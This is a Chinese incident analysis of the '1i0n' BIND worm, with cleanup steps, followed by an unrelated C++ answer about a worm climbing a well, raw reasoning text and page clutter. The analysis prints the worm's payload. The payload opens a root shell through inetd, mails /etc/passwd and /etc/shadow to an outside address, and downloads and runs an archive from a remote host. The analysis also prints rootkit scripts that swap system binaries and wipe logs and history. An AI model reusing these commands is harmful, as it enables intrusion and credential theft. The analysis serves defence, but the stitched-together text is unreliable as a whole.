1i0n蠕虫分析

本文记录了一次bind蠕虫攻击事件。作者发现一个古怪进程,以root权限杀死后又重启,怀疑系统被入侵。通过分析程序,确定是针对bind的蠕虫,会扫描、攻击并放置后门。作者给出阻止攻击、应急处理方法,还介绍了蠕虫原理及建议修补方法。

作者:zackno

情况简介
开始,无意当中列了一下系统进程发现一个有趣的进程。
[acc@firework acc]$ps aux
.....
......
root 3440 99.9 0.5 1088 360 ? R 16:00 0:06 ./pscan xxx.xx 53
......

[root@firework /root]# ps aux | grep pscan
root 3833 97.0 0.5 1088 360 ? RN 16:38 0:10 ./pscan xxx.xx 53
[root@firework /root]# kill -9 3833
[root@firework /root]# ps aux | grep pscan
root 3839 55.5 0.5 1088 360 ? RN 16:38 0:01 ./pscan xxx.xx 53
[root@firework /root]# kill -9 3839
[root@firework /root]# ps aux | grep pscan
root 3845 99.9 0.5 1088 360 ? RN 16:38 0:01 ./pscan xxx.xx 53
以root权限杀死该进程后,又重新启动,有些古怪。

[acc@firework acc]$find / -name pscan -print
/dev/.lib/scan/pscan
/dev/.lib???

/dev/.lib存在,似乎该系统已经被入侵了。

事件分析

1阻止攻击。

我们检查日志信息和击键记录,发现日志系统在1.26被关闭。一些日志记录出现一些空白段,
表明被改过,没有其他信息,紧接着我们检查这些程序:
[acc@firework acc]$cd /dev/.lib
[acc@firework .lib]$ls
[acc@firework libb]$ls -al
total 20
drwxr-xr-x 4 root root 4096 Feb 01 13:15 .
drwxr-xr-x 4 root root 4096 Feb 01 12:30 ..
-rwxr-xr-x 1 root root 53 Feb 01 16:30 1i0n.sh
drwx------ 4 root root 4096 Feb 01 15:37 lib
drwxr-xr-x 2 root root 4096 Feb 01 16:03 scan
[acc@firework libb]$cat 1i0n.sh


cd lib
./1i0n.sh &
cd ../scan
./1i0n.sh &
似乎是启动程序,启动./lib/1i0n.sh和./scan/1i0n.sh,先来看看./lib/1i0n.sh
[acc@firework libb]$cat lib/1i0n.sh |more
....
mv -f in.fingerd /usr/sbin/in.fingerd
mv -f ps /bin/ps
mv -f ifconfig /sbin/ifconfig
mv -f du /usr/bin/du
mv -f netstat /bin/netstat
mv -f top /usr/bin/top
mv -f ls /bin/ls
mv -f find /usr/bin/find

rm -fr /.bash_history
rm -fr /root/.bash_history
echo >/var/log/messages
echo >/var/log/maillog
[acc@firework libb]$
这是个是个善后处理放置后门的程序,再来看看./scan/1i0n.sh。
[acc@firework libb]$cat scan/1i0n.sh


rm -f /etc/hosts.deny

echo "/dev/.lib/lib/scan/star.sh" >> /etc/rc.d/rc.sysinit /*开机启动star.sh*/

touch bindname.log
./star.sh
[acc@firework libb]$ cat scan/star.sh


rm -f bindname.log; touch bindname.log
nohup ./scan.sh >>/dev/null & /*带nohup*/
nohup ./hack.sh >>/dev/null &
[acc@firework libb]$ cat scan/scan.sh

while true /*所以杀不死该进程,
do 一杀死,scan.sh
CLASSB=`./randb` 又重新启动pscan*/
./pscan $CLASSB 53
done
由于这台机器还在运行ps
[acc@firework libb]$
从进程的名字来看,这台机器可能正在被人利用,我们用sniffer监听,听到了很多类似的数据包。
54864(0) win 32120 <mss 1460,sackOK,timestamp 171000892 0,nop,wscale 0> (DF)
16:19:23.955554 eth0 > xxx.xxx.x.xx.4169 > xxx.xx.x.8.domain: S 1854598569:18545
98569(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
16:19:23.955636 eth0 > xxx.xxx.x.xx.4170 > xxx.xx.x.9.domain: S 1867025565:18670
25565(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
16:19:23.955694 eth0 > xxx.xxx.x.xx.4171 > xxx.xx.x.10.domain: S 1858702344:18587
02344(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
16:19:23.955759 eth0 > xxx.xxx.x.xx.4172 > xxx.xx.x.11.domain: S 1861784891:1861
784891(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
.....
似乎这个程序专门针对53端口,也就是named的,而且是个大范围扫描程序,可能在扫描后会把结果
发给攻击者,。
我们首先要切断连接,要杀掉这些进程。
[root@firework libb]#ps aux
root 4252 0.2 1.1 1648 752 pts/1 SN 17:48 0:00 sh ./scan.sh
root 4253 0.2 1.1 1648 748 pts/1 SN 17:48 0:00 sh ./hack.sh
root 4258 0.0 0.7 1252 460 pts/1 SN 17:48 0:00 tail -f bindname.
root 4262 99.9 0.5 1088 360 pts/1 RN 17:48 0:14 ./pscan xxx.xx 53
[root@firework libb]#kill -9 4252
[root@firework libb]#kill -9 4253
[root@firework libb]#kill -9 4258
[root@firework libb]#kill -9 4262
再看都杀掉了。

2应急处理

由于攻击者并没有篡改页面,只是利用此机器作为肉机,作为进一步攻击的基地。
我们简单查看了/dev/.lib/1i0n以及/dev/.lib/lib/1i0n.sh、/dev/.lib/scan/1i0n.sh
[acc@firework scan]$strings bind
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';export PATH;export TERM=vt
100;rm -rf /dev/.lib;mkdir /dev/.lib;cd /dev/.lib;echo '1008 stream tcp nowait r
oot /bin/sh sh' >>/etc/inetd.conf;killall -HUP inetd;ifconfig -a>1i0n;cat /etc/p
asswd >>1i0n;cat /etc/shadow >>1i0n;mail
1i0nip@china.com <1i0n;rm -fr 1i0n;rm -
fr /.bash_history;lynx -dump
http://coollion.51.net/crew.tgz >1i0n.tgz;tar -zxvf
1i0n.tgz;rm -fr 1i0n.tgz;cd lib;./1i0n.sh;exit;
.....
修改lsd-pl.net提供的exploit,很容易就可以加入这些代码。

>char command [] ="";
>write(sck[1],command,sizeof(command));

发现这是一个专门针对bind的蠕虫程序。
lib/1i0n.sh主要是入侵以后清理日志、bash_history,放置后门程序。
scan/1i0n.sh主要是启动两个程序,一个pscan扫描B网段(可选C网段),并把结果放置在
./bindname.log中,bind程序负责从bindname.log中提取结果进行自动攻击,攻击成功后放
置后门程序,并开始随机扫描。
我们在保留蠕虫样本后,对系统进行了简单恢复,
1、停止运行域名服务(准备升级)
2、修改/etc/rc.d/init.d/inetd.conf
删除 1008 stream tcp nowait root /bin/sh sh
1008 stream tcp nowait root /bin/sh sh
60008 stream tcp nowait root /bin/sh sh
33567 stream tcp nowait root /bin/sh sh

kill -9 pidof(nscd)
kill -9 pidof(t0rns)

3、修改/etc/rc.d/sysinit
删除 /dev/.lib/lib/scan/star.sh
/usr/sbin/nscd -q
/bin/in.telnetd

4、 删除如下目录和文件
/etc/ttyhash
/usr/man/man1/man1
/usr/src/.puta
/usr/info/.t0rn/
/usr/sbin/nscd
/dev/.lib
/bin/mjy

5、替换如下程序
/bin/login
/usr/sbin/nscd
/usr/sbin/in.telnetd
/sbin/ifconfig
/bin/ps
/usr/bin/du
/bin/ls
/bin/netstat
/usr/bin/find
/usr/bin/top
/usr/sbin/in.finger
6、修改/etc/inetd.conf
注释掉finger服务,并把权限改为nobody。
7、如有ipchains运行,请重新运行规则。

8、检查/var/spool/mqueue下用命令"grep "
1i0nip@china.com" *",如发现有文件包含此字段,请
删除此文件。
9、如有必要,增加并修改你的hosts.deny文件
10、重启系统.
可疑之处:根据syslogd被宕掉,但从程序来看不应出现此现象,因此可能除去程序,有攻击者直接登录过。

技术分析

该蠕虫攻击程序的详细描述参照
bugtraq id 2302
cve CAN-2001-10

影响bind版本:
ISC bind 8.2 8.2.1 8.2.2 8.2.2-PX

不受影响
ISC BIND 9.1
ISC BIND 9.0
ISC BIND 8.2.3


通过对蠕虫样本的分析,我们可以看出其基本的工作流程

10in.sh---->./lib/10in.sh-->清理日志、放置后门程序(ssh、sniffer、ls、netstat etc..)
| -->获取系统信息并mail to
1i0nsniff@china.com
|
|
|
|-->./scan/10in.sh-->./pscan 对随机生成的B网段进行扫描
-->./bind 对有漏洞的系统进行攻击,攻击成功后首先获取网络配置、
passwd、shadow到
10inip@china.com,放置后门并继续攻击其他机器。

[acc@firework acc]$ls /dev/.lib

/dev/.lib/lib/scan/1i0n.sh -----启动程序,调用./star.sh并把它加入开机启动
/dev/.lib/lib/scan/hack.sh -----一旦检测到在bindname.log中有新纪录,就调用
bindx.sh对目标进行攻击
/dev/.lib/lib/scan/bind -----利用TSIG漏洞进行攻击的程序(修改lsd-pl.net提供的)
/dev/.lib/lib/scan/randb -----随机产生一个B类网段,由pscan调用
/dev/.lib/lib/scan/scan.sh -----调用pscan $(./randb) 53
/dev/.lib/lib/scan/pscan -----探测远程系统是否开启bind服务,如开启,记录
到bindname.log

/dev/.lib/lib/scan/star.sh -----调用sscan.sh和hack.sh
/dev/.lib/lib/scan/bindx.sh -----调用bind
/dev/.lib/lib/scan/bindname.log -----记录存在漏洞的主机IP
/dev/.lib/lib/1i0n.sh -----启动程序,启动lib/1i0n.sh、scan/1i0n.sh
/dev/.lib/lib/lib/netstat -----后门
/dev/.lib/lib/lib/dev/.1addr -----?(可能是为其他程序所用)
/dev/.lib/lib/lib/dev/.1logz
/dev/.lib/lib/lib/dev/.1proc
/dev/.lib/lib/lib/dev/.1file
/dev/.lib/lib/lib/t0rns -----sniffer程序
/dev/.lib/lib/lib/du -----后门
/dev/.lib/lib/lib/ls -----后门
/dev/.lib/lib/lib/t0rnsb -----清理日志
/dev/.lib/lib/lib/ps -----后门
/dev/.lib/lib/lib/t0rnp -----?
/dev/.lib/lib/lib/find -----后门
/dev/.lib/lib/lib/ifconfig -----后门
/dev/.lib/lib/lib/pg -----生成密码程序到/etc/ttyhash(login使用)
/dev/.lib/lib/lib/ssh.tgz -----ssh后门
/dev/.lib/lib/lib/top -----后门
/dev/.lib/lib/lib/sz -----修改文件大小
/dev/.lib/lib/lib/login -----后门
/dev/.lib/lib/lib/in.fingerd -----后门
/dev/.lib/lib/lib/1i0n.sh -----清除日志,放置后门
/dev/.lib/lib/lib/pstree -----后门
/dev/.lib/lib/lib/in.telnetd -----后门
/dev/.lib/lib/lib/mjy -----后门
/dev/.lib/lib/lib/sush -----?
/dev/.lib/lib/lib/tfn -----D.d.o.s工具
/dev/.lib/lib/lib/name -----没有改过的exploit
/dev/.lib/lib/lib/getip.sh -----获取网络、passwd等mail到
1i0nsniffer@china.com


该蠕虫原理和ramen很像,不同的是ramen是个良性蠕虫,而此蠕虫的破坏性较大,并且窃取用户口令
文件、网络配置,应该说影响较大,因为即使用户发现,但是很多主机的用户名会为人所知,攻击面
较大,一旦被利用作为D.d.o.s攻击,后果将非常严重。

事故处理

William Stearns写了一个检测程序,但并不能清除该蠕虫。
下载:
http://www.sans.org/y2k/lionfind-0.1.tar.gz
建议修补方法:按照应急处理一步一步来做,升级bind版本。
http://www.isc.org/products/BIND/bind9.html

后记:
sans上的有一些介绍
http://www.sans.org/y2k/lion.htm
问题:有几个文件不知用处,象.t0rn/.1addr...。
如果你知道,请mail我一份。

该蠕虫似乎没有考虑到在攻击之前检查是否已经被感染,可能进行重复攻击。(named不重新启动过,再
次攻击也无效),目前我没有发现别的变种,该蠕虫自己不能复制,它通过coollion.51.net来获取蠕虫。


脚本或许写的比较急,有些.... :)
if test -n "$2" ; then
echo "${BLU}# ${BLU} Using ssh-port : ${WHI}$2
${BLU} ${RES}"
tar xfz ssh.tgz
echo "Port $2" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
else
echo "${BLU}# ${RED} No ssh-port Specified, using default - 33568 ${
BLU} #${RES}"
tar xfz ssh.tgz
echo "Port 33568" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
fi

<think>题目要求:蠕虫爬井问题。井深N寸,每分钟爬U寸,然后休息1分钟下滑D寸。注意:当最后一次上爬到达或超过井口时,就不会再下滑。我们需要计算总时间(分钟)。 关键点: 1. 蠕虫每分钟动作:先爬升U寸(时间增加1分钟),然后判断是否到达井口;如果没有,则休息下滑D寸(时间再增加1分钟),再次判断。 2. 由于最后一次爬升后可能已经到达井口,因此不再下滑。 根据引用[2][3][4][5]中的代码,我们可以总结出两种常见思路: 思路一:模拟每一分钟的动作,循环直到爬出井口。 思路二:数学计算,但要注意最后一次爬升不需要下滑。 然而,题目要求用C++编写,并且要处理不足1分钟按1分钟计(但实际上题目中动作都是以1分钟为单位)。同时,注意初始高度为0。 我们参考引用[3]的代码,它使用了一个循环,每次循环包括: - 时间加1(爬升),高度加U,然后判断是否达到井深,达到则跳出。 - 否则,时间加1(下滑),高度减D,再判断(这里其实可以不用判断,因为下滑后高度肯定小于井深,除非井深小于U,但题目D<U,且井深N>0,所以下滑后不会超过,但最后一次爬升已经跳出循环,所以下滑后不需要判断是否到达井顶?但是引用[3]中在爬升后判断了,下滑后又判断了一次,这是严谨的,因为有可能下滑后高度为负?实际上不会,因为井深是正的,而且初始为0,下滑后高度不会为负(因为下滑前高度至少大于0,且下滑量D小于U,但下滑后可能低于0吗?不会,因为爬升后高度>=U(第一次爬升后高度为U),然后下滑D,由于U>D,所以下滑后高度为U-D>0。所以下滑后不必判断?但题目要求只要在爬升过程中到达井顶就完成任务,所以下滑后不需要判断是否到达井顶(因为下滑是在休息过程中,此时不会到达井顶)。所以引用[3]中下滑后的判断其实是多余的。但是,引用[3]的代码在爬升后已经判断了,所以下滑后的判断不会执行到(因为如果爬升后没到,下滑后肯定更不会到)。所以可以省略下滑后的判断。 但是,引用[2]的代码中,下滑后也进行了判断,而且引用[4]和引用[5]则采用了不同的思路。 我们再看引用[5]的代码,它采用数学方法: - 它用一个循环,每次循环代表一个周期(爬升和下滑),即2分钟,每个周期净上升U-D寸。 - 但是,当剩余的高度不足一个周期时,即最后一次爬升不需要下滑,所以需要单独处理。 引用[5]代码解析: for(i=0;;){ if(i+u>=n)break; // 如果当前高度i加上这次爬升u已经大于等于井深,则跳出(注意:这个爬升动作还没有做,所以跳出后只需要加上这1分钟) i += u-d; // 否则,完成一个完整周期(爬升和下滑),净上升u-d time += 2; // 时间增加2分钟 } // 跳出循环后,说明再爬一次就能到达(因为跳出条件是在爬升前判断的:i+u>=n) // 所以时间还需要加上这最后一次爬升的1分钟。 // 但是,有可能在进入循环之前就已经满足条件?实际上初始i=0,如果0+u>=n,那么直接跳出,然后加上1分钟(即time初始0,然后加上1)-> 这种情况正确。 // 还有一种情况:循环中,当某次爬升前,当前高度i,加上u后大于等于n,那么跳出循环,然后时间加1。 // 但是,这里有一个问题:循环中的条件判断是在爬升之前,所以如果当前高度i,加上u后大于等于n,那么只需要1分钟就完成了。 // 但是,代码中跳出循环后,用ret=n-i(即剩余高度),然后判断: if(ret==0) // 这种情况不会出现,因为如果i>=n,那么就不会进入循环,而循环中i是小于n的。所以ret=n-i>0 else 输出time+1 // 因为还需要1分钟爬升。 // 所以,实际上可以简化为:跳出循环后,时间加1。 但是,这个代码有一个问题:如果井深为0,那么不需要时间,但题目井深N>0。另外,如果井深小于等于U,那么只需要1分钟。 然而,这个代码在循环中,当i+u>=n时跳出,然后加上1分钟。但是,如果井深为0,那么初始i=00+u>=0(假设u>=0)成立,所以跳出,然后加上1分钟,得到1分钟,但实际井深0应该不需要时间。所以需要特判?题目中井深N寸,初始高度0蠕虫1寸(但题目没有说蠕虫长度在计算高度时是否考虑,根据题目描述,蠕虫在井底高度为0,当头部到达井顶就算完成,所以蠕虫长度可能不需要考虑?题目说“蠕虫1寸”,但在计算中,井深N寸,蠕虫0开始爬,当爬升高度达到N寸时,头部就到达井顶。所以蠕虫长度1寸其实并不影响高度计算,因为井深是从井底到井顶,蠕虫的起点是井底(高度0),头部到达井顶(高度N)即可。所以我们可以忽略蠕虫长度(即认为蠕虫是一个点?题目说蠕虫1寸,但题目中并没有用到这个1寸,所以可能是干扰?)。实际上,题目引用[1]中提到了蠕虫1寸,但在后续的代码中都没有考虑,所以我们也忽略。 因此,我们按照高度计算:从0开始,每次爬升U,然后下滑D(除了最后一次)。 引用[5]的代码有一个小错误:当井深为0时,应该输出0,但按照它的代码,会输出1(因为满足i+u>=n,即0+u>=0,跳出循环,然后输出time+1,而time初始0,所以输出1)。所以需要处理边界情况。 但是,题目中说井深N不超过100,且D<U,所以N至少为1(因为蠕虫要爬,井深至少大于0)。所以我们可以假设N>0。 但是,严谨起见,我们处理一下N=0的情况。 然而,题目要求:不足1分钟按1分钟计,但这里动作都是整分钟,所以不需要考虑小数。 两种方法比较: 方法1:模拟(循环每一步动作)—— 直观,容易理解,且不会出错。 方法2:数学计算(先计算完整周期的个数,再处理最后一次爬升)—— 效率高,但边界情况需要注意。 我们参考题目要求,选择一种方法实现。这里用模拟法更符合题目的逐步描述。 模拟法步骤: 初始化时间time=0,当前高度high=0。 循环直到high>=N: 时间加1(爬升),high += U 如果high>=N,跳出循环。 否则,时间加1(休息下滑),high -= D (注意:下滑后,因为D<U,所以high不会小于0,且不会超过N,所以不需要再判断是否到达井顶?因为下滑是在休息过程中,题目要求只有在爬升过程中到达井顶才结束,所以下滑过程中即使超过井顶(实际不会)也不算。但这里下滑后高度肯定小于井深,因为爬升后都没达到,下滑后更达不到) 注意:有可能第一次爬升就到达井顶,那么时间只有1分钟。 例如:N=5, U=5, D=1 -> 只需要1分钟。 因此,我们按照模拟法编写代码。 但是,引用[3]的代码中,循环条件用了while(1),然后在爬升后判断跳出,下滑后也判断跳出(虽然下滑后判断是多余的,但为了保险可以保留,但根据分析,下滑后不可能达到井顶,因为爬升后都没达到)。所以我们可以省略下滑后的判断。 所以,代码结构如下: int time = 0, high = 0; while (high < n) { // 只要当前高度小于井深,就继续 time++; // 爬升1分钟 high += u; // 爬升u寸 if (high >= n) // 爬升后达到或超过井深 break; time++; // 休息1分钟 high -= d; // 下滑d寸 // 这里不需要判断,因为下滑后高度一定小于n(因为爬升后都没达到,下滑后更不可能) } cout << time; 但是,考虑边界:n=0,那么一开始high=0>=0,循环不执行,输出0,正确。 测试用例: 输入:n=10, u=5, d=3 过程: 第一次:爬升:time=1, high=5 -> 5<10,然后休息:time=2, high=5-3=2 第二次:爬升:time=3, high=2+5=7 -> 7<10,休息:time=4, high=7-3=4 第三次:爬升:time=5, high=4+5=9 -> 9<10,休息:time=6, high=9-3=6 第四次:爬升:time=7, high=6+5=11 -> 11>=10,跳出。 输出7,正确(因为第7分钟爬升时到达11寸,超过10寸)。 另一个测试:n=5, u=5, d=3 第一次爬升:time=1, high=5>=5,跳出。输出1,正确。 再测试:n=6, u=5, d=3 第一次:爬升:time=1, high=5(<6)->休息:time=2, high=2 第二次:爬升:time=3, high=2+5=7>=6,跳出。输出3,正确。 因此,我们采用模拟法。 注意:题目要求使用C++,所以我们可以写一个简单的程序,读取输入的n, u, d,然后计算时间并输出。 另外,题目中提到蠕虫1寸,但所有代码都没有使用这个信息,所以我们也不使用,因为题目中说“初始时,蠕虫是趴在井底的(即高度为0)”,而井深N寸,所以当爬升高度达到N寸时,蠕虫头部就到达井顶。蠕虫长度1寸可能是指蠕虫身体占据1寸,但题目没有要求考虑蠕虫身体对高度的影响,所以我们忽略。 因此,C++代码实现如下: </think> 以下是使用C++实现的蠕虫爬井问题解决方案,基于题目要求和引用中的有效思路: ### 解决方案思路 1. **模拟爬行过程**:逐分钟模拟蠕虫的上爬和下滑过程 2. **关键逻辑**: - 每分钟动作:上爬(时间+1,高度+U)→检查是否出井→下滑(时间+1,高度-D) - **重要细节**:当上爬后高度≥井深时立即结束,不再下滑 - 使用循环控制直到爬出井口 3. **边界处理**:考虑井深为0或第一次上爬即出井的情况 ### C++代码实现 ```cpp #include <iostream> using namespace std; int main() { int N, U, D; cin >> N >> U >> D; // 输入井深、上爬量、下滑量 int time = 0; // 总时间(分钟) int height = 0; // 当前高度 while (height < N) { // 未出井时循环 time++; // 上爬1分钟 height += U; // 上爬U寸 // 检查是否已出井(考虑蠕虫长度) if (height >= N) break; time++; // 下滑1分钟 height -= D; // 下滑D寸 } cout << time; // 输出总时间 return 0; } ``` ### 代码说明 1. **输入处理**:读取井深`N`、上爬量`U`、下滑量`D` 2. **循环逻辑**: - 每轮循环包含完整动作:上爬+下滑 - 上爬后立即检查高度是否达到井深(`height >= N`) - 仅当未出井时才执行下滑动作 3. **时间复杂度**:$O(N/(U-D))$,最坏情况下接近线性时间 4. **空间复杂度**:$O(1)$,仅使用固定变量 ### 测试用例示例 | 输入 (N U D) | 输出 | 解释 | |-------------|------|------| | `10 5 3` | 7 | 过程:(0→5→2)→(2→7→4)→(4→9→6)→(6→11) | | `5 5 1` | 1 | 第一次上爬即出井 | | `6 3 2` | 7 | 过程:(0→3→1)→(1→4→2)→(2→5→3)→(3→6) | | `0 2 1` | 0 | 井深为0无需爬行 | ### 注意事项 1. **蠕虫长度处理**:题目中蠕虫1寸,但实际计算只需关注头部位置(高度≥井深即完成) 2. **边界情况**:代码已处理井深为0或首次上爬即完成的情况 3. **下滑条件**:仅在上爬未达井深时才执行下滑,避免无效操作
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值